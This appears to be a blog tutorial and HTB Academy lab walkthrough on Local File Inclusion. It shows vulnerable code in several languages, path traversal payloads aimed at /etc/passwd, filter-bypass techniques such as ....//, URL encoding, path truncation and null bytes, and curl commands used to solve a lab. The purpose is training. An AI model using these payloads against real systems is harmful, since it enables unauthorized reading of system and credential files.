Introduction to File Inclusion

An in-depth and hands-on walkthrough on spotting and exploiting Local File Inclusion (LFI); from classic payloads to modern bypasses, straight from HTB Academy labs.
Introduction to File Inclusion

Hey folks! Good to see you.

Modern website tech-stacks often use HTTP parameters to

  • enable dynamic web page builds
  • reduce script sizes (on the client side)
  • reduce server load
  • simplify code

Often times, these parameters are not secured properly.

What if we could manipulate them to display the content of any local file on the hosting server?

This is what we refer to as Local File Inclusion. They can lead to source code disclosure, sensitive data exposure, and even remote code execution.

You load a page... you tweak the URL... and suddenly, you're staring at /etc/passwdWelcome to the world of LFI.

LFI's most common victims: templating engines

Ever seen a website's URL end in /index.php?page=about? Most often in such cases, templating engines like Twig or Jinja2 are used.

index.php only holds static content (header, nav-bar, footer, etc.), the rest is pulled via the parameter - in this case maybe read from a about.phpMight we be able to grab a different file than about?

NEVER combine a user-controlled parameter and PHP's include

So often to this day, we see code like this:

if (isset($_GET['name'])) {
    include($_GET['name']);
}

or maybe for language selection, user settings change, etc.

ALWAYS check: does the code explicitly and comprehensively filter and sanitize the user input?

If not --> File Inclusion babyy!

Other sinners in PHP

include_once()
require()
require_once()
file_get_contents()

and others can all have the same effect!

💡
Why care in 2025? Many legacy apps and hastily built admin panels still rely on dynamic includes, making LFI alive and well today.

Red flags in other languages and environments

Spotting LFI in Node.js

Example 1: File Read via Query Parameter

if (req.query.language) {
    fs.readFile(path.join(__dirname, req.query.language), function (err, data) {
        res.write(data);
    });
}

What’s happening here?

  • The app checks if a query parameter called language exists.
  • If it does, it uses fs.readFile() to read the file named in that parameter.
  • It joins the input directly with __dirname (current directory).
  • It then writes the content of the file to the HTTP response.

So, what if we did:

http://example.com/?language=../../../../etc/passwd

…the server will try to read that file relative to the app’s directory. This is a classic LFI vulnerability.

Example 2: LFI via Express render()

app.get("/about/:language", function(req, res) {
    res.render(`/${req.params.language}/about.html`);
});

What’s happening here?

  • The route handles URLs like /about/en/about/de, etc.
  • It takes the language part from the URL path and uses it to build a file path.
  • Then it uses res.render() to render that HTML page from the directory.

If there's no validation, we can again request:

/about/../../../../../etc/passwd

which might trick the server all the same.

Spotting LFI in Java

The same problem can be spotted in a Java web server - let's look at Java Server Pages (JSP)

Example 1: Include with <jsp:include>

<c:if test="${not empty param.language}">
    <jsp:include file="<%= request.getParameter('language') %>" />
</c:if>

What’s happening here?

  • request.getParameter('language') takes input from the URL.
  • That value is directly passed into the include function.

So same attack path:

/page.jsp?language=../../WEB-INF/web.xml

could include sensitive server files.

Example 2: Import with <c:import>

<c:import url="<%= request.getParameter('language') %>"/>

This again includes a file or external URL - it could be abused with e.g. ?language=../../somefile.

Spotting LFI in .NET

For .NET web applications, the Response.WriteFile function is very similar to all earlier examples:

@if (!string.IsNullOrEmpty(HttpContext.Request.Query['language'])) {
    <% Response.WriteFile("<% HttpContext.Request.Query['language'] %>"); %> 
}

What’s happening here?

  • Takes a file path for input via HttpContext.Request.Query[]
  • Writes its content to the Response with Response.WriteFile

Again, the path is retrieved via a GET parameter for dynamic content loading. Another dangerous one is:

@Html.Partial(HttpContext.Request.Query['language'])

Html.Partial() can also be used ot render the specified file as part of the frontend template.

And then again, another classic:

<!--#include file="<% HttpContext.Request.Query['language'] %>"-->

What can we do with what we learned?

Some of the above only read content, others also execute specific files. Some even allow specifying remote URLs.

FunctionRead ContentExecuteRemote URL
PHP
include()/include_once()
require()/require_once()
file_get_contents()
fopen()/file()
NodeJS
fs.readFile()
fs.sendFile()
res.render()
Java
include
import
.NET
@Html.Partial()
@Html.RemotePartial()
Response.WriteFile()
include

This table is from HTB Academy - a great learning platform, if you use it on the side and keep up practicing!


Basic LFI in practice

 On this HTB-training-site, we can swap the language parameter between english and spanish:

http://94.237.58.73:57686/index.php?language=es.php
#and
http://94.237.58.73:57686/index.php?language=en.php
Oh look, who's Barry?

The same way they let us retrieve a small flag.

What I Wish They Let Me Try

Second-Order Local File Inclusion occurs when the vulnerable path is not taken directly from user input, but rather from a value previously stored (e.g., in a database).

This is still common, developers often trust values that come from their database unchecked.

So it would've been fun having a register site and registring with username = '../../../etc/passwd' and then utilizing some function like:

include("/profile/$username/avatar.png");

the app would end up including:

/profile/../../../etc/passwd/avatar.png → resolved to /etc/passwd

Basic Bypasses

Being a bit creative

$language = str_replace('../', '', $_GET['language']);

Oh no, our EVIL MASTERPLAN has been ruined! ../ is rendered out of the query.

http://<SERVER_IP>:<PORT>/index.php?language=../../../../etc/passwd
#becomes
http://<SERVER_IP>:<PORT>/index.php?language=./languages/etc/passwd

Luckily for us, that filter isn’t recursive, so sneaky inputs like ....// still decode to ../ - Path traversal lives!

http://<SERVER_IP>:<PORT>/index.php?language=....//....//....//....//etc/passwd

still does the job.. just as ..././ or ....\/ and several other recursive LFI payloads.

In some cases escaping the forward slash character may also work to avoid path traversal filters - like ....\/ or adding extra forward slashes (e.g. ....////)

URL Encoding might also help

URL Encoder (On your attacker box just use the Burp Decoder) could also assist you encoding your payload - this would help you against the site filtering . or / out of your payload.

Sometimes, also double encoding might help to bypass other types of filters.. let's see in which future post we encounter that again.


Regex Filter Bypass

Some web applications use Regular Expressions (Regex) to restrict which file paths can be included, usually limiting them to a specific directory.

if (preg_match('/^\.\/languages\/.+$/', $_GET['language'])) {
    include($_GET['language']);
} else {
    echo 'Illegal path specified!';
}

This Regex expression only allows paths that start with ./languages/ - for example: ./languages/en.php or ./languages/es.php

To bypass this regex, attackers can start with the approved path, then use path traversal (../) to escape it:

Bypassing Appended Extensions

Some web apps automatically append a file extension (e.g., .php) to user input when including files:

include($_GET['language'] . '.php');

This restricts LFI payloads to files ending in .php.

Possible Bypass 1: Path Truncation (Legacy PHP <5.3/5.4)

PHP had a string length limit (≈4096 characters), if the final file path exceeded that limit, the .php extension could get cut off.

Payload idea:

?language=non_existing_dir/../../../etc/passwd/./././././././././.  [~2048 times]

Automated:

echo -n "non_existing_dir/../../../etc/passwd/" && for i in {1..2048}; do echo -n "./"; done
The long path gets truncated before .php is appended. PHP then resolves the path to /etc/passwd.

Only works on old PHP versions and when include() is used.

Possible Bypass 2: Null Byte Injection (%00) (PHP <5.5)

PHP (like C) used to treat %00 (null byte) as the end of a string - anything after %00 was ignored. This tricked the engine into dropping .php, even if appended.

?language=/etc/passwd%00

The app sees /etc/passwd%00.php - but PHP only reads /etc/passwd.

HTB Filter Bypass Puzzle

This challenge combines multiple bypasses - let's see what we can do about that.

http://94.237.123.14:40988/index.php?language=languages%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd

gave us nothing, but with ./language/... it was "Illegal path specified."

Then lets encode:

languages/....//....//....//....//....//etc\/passwd

to

languages%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2Fetc%5C%2Fpasswd

Doesn't work, but the regular functionality definitely wants us to stay in languages/.

What we also know:

The app checks for regex (so we stay in our path):

preg_match('/^\.\/languages\/.+$/', ...)

The app seems to filter ../ likely with something like:

str_replace('../', '', $_GET['language']);

It may also append .php behind the scenes..

The app may block raw . or /, but might miss encoded characters like:

  • %2e = .
  • %2f = /

That way we could build a long traversal string with encoded segments like:

languages%2f..%2f..%2f..%2f..%2fetc%2fpasswd%2f%2e%2f%2e%2f%2e%2f... [repeat]

Then use a loop to automate:

echo -n "languages/....//....//....//....//etc/passwd" > payload.txt && for i in {1..1500}; do echo -n "%2e%2f" >> payload.txt; done && echo "" >> payload.txt

Then paste that full URL as our payload:

PAYLOAD=$(cat payload.txt)
curl "http://<TARGET_IP>:<PORT>/index.php?language=$PAYLOAD"
curl "http://94.237.123.14:40988/index.php?language=$PAYLOAD"
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>414 Request-URI Too Long</title>
</head><body>
<h1>Request-URI Too Long</h1>
<p>The requested URL's length exceeds the capacity
limit for this server.<br />
</p>
<hr>
<address>Apache/2.4.41 (Ubuntu) Server at 192.168.59.203 Port 80</address>
</body></html>

a bit too long, let's go with:

echo -n "languages/....//....//....//....//etc/passwd" > payload.txt && for i in {1..1350}; do echo -n "%2e%2f" >> payload.txt; done && echo "" >> payload.txt

yet the answer is still completely normal..

let's try something different..

  • Replace ../ with ....////
  • URL-encode everything, including slashes
  • Keep payload within ~8000 character limit
  • Target PHP truncation (~4096 bytes of path)
  • Use languages/ prefix to bypass regex
echo -n "languages/....////....////....////....////etc/passwd" > payload.txt && for i in {1..1350}; do echo -n "./" >> payload.txt; done && echo "" >> payload.txt

Now, we URL-encode:

cat payload.txt | jq -sRr @uri

Seems too much - does not work.

http://<TARGET_IP>:<TARGET_PORT>/index.php?language=languages%2F....%2F%2F%2F%2F....%2F%2F%2F%2F....%2F%2F%2F%2F....%2F%2F%2F%2Fetc%2Fpasswd

WORKS!

So let's do:

http://<TARGET_IP>:<TARGET_PORT>/index.php?language=languages%2F....%2F%2F%2F%2F....%2F%2F%2F%2F....%2F%2F%2F%2F....%2F%2F%2F%2Fflag.txt

BAM! Worked!

Tried a similar bypass that worked differently? DM me anywhere (my platforms are all linked here). The Forge always welcomes new fire.

Subscribe to my monthly newsletter

No spam, no sharing to third party. Only you and me.

Member discussion